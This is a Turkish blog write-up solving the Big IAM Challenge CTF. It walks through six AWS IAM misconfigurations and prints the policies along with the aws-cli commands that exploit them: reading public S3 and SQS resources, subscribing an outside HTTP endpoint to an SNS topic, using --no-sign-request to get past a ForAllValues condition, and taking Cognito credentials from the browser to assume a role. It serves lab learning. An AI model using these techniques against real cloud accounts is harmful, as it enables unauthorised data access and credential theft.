The Big IAM Challenge CTF Çözümü
CTF erişmek için: https://bigiamchallenge.com/
Challenge 1 - Buckets of Fun
Herkese açık s3 bucket veri depoları risklidir, flag değerine erişebilir misin? S3 bucket, kısaca AWS bulut sağlayıcısı depolama servisidir. Kimlik erişim ve yönetimi politikaları sayesinde AWS’nin sağlamış olduğu hizmetlere erişimi ve yönetimi sağlanmaktadır. Görevde verilmiş olan IAM politikasını inceleyelim.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
Alt kısımda yer alan terminalde aws-cli kurulu olduğu belirtlimiş.
aws cli aracı ile s3 bucketları listelemek için aws s3 ls s3://thebigiamchallenge-storage-9979f4b
komutunu kullanabiliriz. Verilen IAM politikası içerisinde de files/* dizini altındaki objeler listeleme izni verilmiştir. Ancak, tüm objeler herkesin görüntülemesine açıktır.
aws s3 cp komutu, belirtilen s3 bucket içerisindeki dosyayı yerel makineye kopyalamak için kullanılır.
Komut satırı dışında tarayıcıdan herkese açık s3 bucket objelerine erişim için https://<bucket_ismi>.s3.amazonaws.com
Bucket ismine verilen IAM politika içerisinden Resource kısmından erişebiliriz.
İçeriği görüntülemek için verilen key değerini kullanıyoruz. https://<bucket_ismi>.s3.amazonaws.com/files/flag1.txt
Challenge 2 - Google Analytics
Bu görev için özel bir analitik sistem geliştirimiş ve görev sayfasında da kullanılmış. Buradaki sorun ne olabilir? Verilen IAM politika içeriği aşağıdaki gibidir.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
Burada AWS SQS( Simple Queue Service) uygulamaların birbirileri ile haberleşmesini sağlayan servis kullanımını görebiliriz. Mesaj gönderme ve alma işlemlerinin herkes tarafından yapılmasına izin verilmiştir (Principal değeri “*” yani anonim kullanıcılar dahil tüm kullanıcıları kapsamaktadır). aws sqs receive-message --queue-url
komutunu gelen mesajı görüntülemek için kullanabiliriz. servis queue url bağlantısı formatı https://sqs.<region>.amazonaws.com/<account-id>/<queue-name>
şeklindedir.
Gelen mesaj gövdesinde bulunan url bağlantısına gittiğimiz zaman flag değerine ulaşabiliriz. Bunu sağlayan kimlik erişim ve yönetim politikalarının yanlış yapılandırılması sonucu bu aksiyonu gerçekleştirebiliyorum.
Challenge 3 - Enable Push Notifications
Bu görevde bizim için bir mesaj olduğunu söylüyor ve ona ulaşıp ulaşamayacağımız soruluyor. SQS serivisine benzer olarak SNS (Simple Notification Service) bildirim hizmeti de bulunmaktadır. SQS servisinden farklı olarak A2A(uygulamadan-uygulamaya) iletişimin yanı sıra A2P (uygulamadan-kullanıcıya) iletişim türünü de desteklemektedir.
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
Verilen IAM politikasını inceleyelim. Tüm AWS kullanıcılarının SNS servisine @tbic.wiz.io domaine sahip olan son kullanıcıların abone olmasına izin vermektedir. İletişim kanalı da belirtilmemiş yani sadece eposta olmak zorunda değil. Bunun için Condition bölümüne sns:Protocol olarak eklenebilir.
aws sns subscribe --region <region> --topic-arn <arn:aws:sns…> --notification-endpoint http://kendi_sunucu_ip/@tbic.wiz.io
komutu kullanarak bildirim servisine üye olabiliyoruz. --protocol paramtetresi ile de hangi iletişim kanalı ile bildirimleri almak istediğimizi belirtiyoruz. Burada, sunucu olarak requestrepo.com kullandım.
İlk gelen istek içerisinde üyelik doğrulama için bir url bağlantısı gönderilmektedir.
Burayı ziyaret ettikten sonra abonelik tamamlanmış oluyor ve bize gelen mesaja ulaşabiliyoruz.
Challenge 4 - Admin only?
Bir önceki yanlış yapılandırmalardan ders alınmış ve bu sefer s3 bucket erişimi admin kullanıcısına tanımlanmış, sizce öyle mi? Verilen IAM policy içerisinde,
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
files/ içerisindeki objeleri yalnızca arn:aws:iam::133713371337:user/admin kaynak ismine sahip kullanıcıların erişebileceği belirtilmiş.
Sahip olduğumuz kullanıcı bilgilerini aws sts get-caller-identity
komutu ile görebiliriz.
Yapılan bu kısıtlamayı atlatmak için kullanılan yöntemlerden bir tanesi STS(Securtiy Token Service) servisinin assume-role
özelliğini kullanmak olabilir. Ancak burada policy içerisinde yetki verildmediği için denememiz başarılı olmuyor.
Policy içerisinde kullanılan ForAllValues
koşulu kullanımında istekte hiçbir key bulunmuyorsa veya anahtar değerler boş ise doğru döner ve işlemi gerçekleştirir. --no-sign-request
parametresi imzalı bir istekte bulunmaktan kaçınmak için kullanılır. Bu parametreyi kullandığımız zaman herhangi bir kimlik bilgisini kullanmadan işlem yapmaya çalışır. Bu sayede, policy içerisindeki PrincipalArn
kısıtlaması ForAllValues
koşulundan dolayı geçersiz sayılır.
Flag dosya içeriğini indirip görüntüleyelim. Bulunulan /var/task dizinine dosya yazma izni bulunmadığı için farkı bir dizin kullanıyoruz.
Challenge 5 - Do I know you?
Kimlik sağlayıcısı olarak AWS Cognito servisi yapılandırılmış. Cognito, kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi için kullanılıyor. Verilen erişim politikasını inceleyelim.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
cognito-sync ile kullanıcıların uygulama verilerinin senkronizasyonunu gerçekleştirir.
cognito1.png görseli belirlenen zaman aralığında erişime açık bir şekilde imzalı bir bağlantı oluşturur. Tarayıcı geliştirici araç konsolundan AWS.config.credentials
komutunu çalıştırdığımız zaman yekilendirme için gerekli bilgilere erişebiliyoruz. Oluşturulan geçici kimlik bilgileri istemci-taraflı tanımlandığından ele geçirilebilir.
Bulunan accessKeyID, secretKey ve sessionToken değerlerini ortam değişkenlerinde tanımlayıp geçici süreliğine istenilen yetkileri elde edebiliriz. Lab ortamında ortam değişkenleri değiştirilemediğinden, komut satırı içerisinde (inline) kullanımını deneyeceğiz .
AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls s3://wiz-privatefiles
Challenge 6 - One final push
Anonim erişimler artık yok. Bakalım neler yapabileceksin. arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role yetkili rolü kullanmayı dene. Verilen politika içeriğini inceleyelim.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
Gerekn kimlik doğrulama bilgileri için aşağıdaki komutu kullanmamız gerekiyor. Ancak web identity token değerine ihtiyacımız var
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name auth_session
--web-identity-token <JWT_TOKEN>
Bu token bulmak için de aws cognito-identity
komutunun kullanımlarını inceleyebiliriz. İlk olarak identity-id değerini bulmak için aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
komutunu çalıştıralım.
aws cognito-identity get-credentials-for-identity --identity-id <IDENTITY_ID>
komutu ile kimlik doğrulama bilgilerine erişebildik.
Şimdi bulbilgileri kullanarak AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls
komutunu çalıştıralım
Gerekli yetkilere erişim sağlayamadık bu şekilde. assume-role-with-web-identity için token bilgisine sahip olmamız gerekiyor. aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
komutu ile JWT web identity tokena erişiyoruz.
Bu token değerini kullanarak aws sts assume-role-with-web-identity
komutunu çalıştıralım. Bu komut verilen --role-arn parametresinde belirtilen kullanıcı rolünün yetkilerini geçici süreliğine alınmasını sağlıyor bir web kimlik doğrulama sağlayıcısı ile.
Bu credential değerlerini deneyerek aws s3 bucketlarını listelemeye çalışalım. AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls
tekrardan bu komutu çalıştırıyorum yeni elde ettiğim değerleri kullanarak.
Tüm bucketları listeleyebildik. Bu görev ile ilgili bucket wiz-privatefiles-x1000. İçerisindeki flag dosyasını kopyalayıp içeriğini görüntüleyerek flag değerine erişim sağladık.
Kaynaklar
Subscribe to my newsletter
Read articles from arzu directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by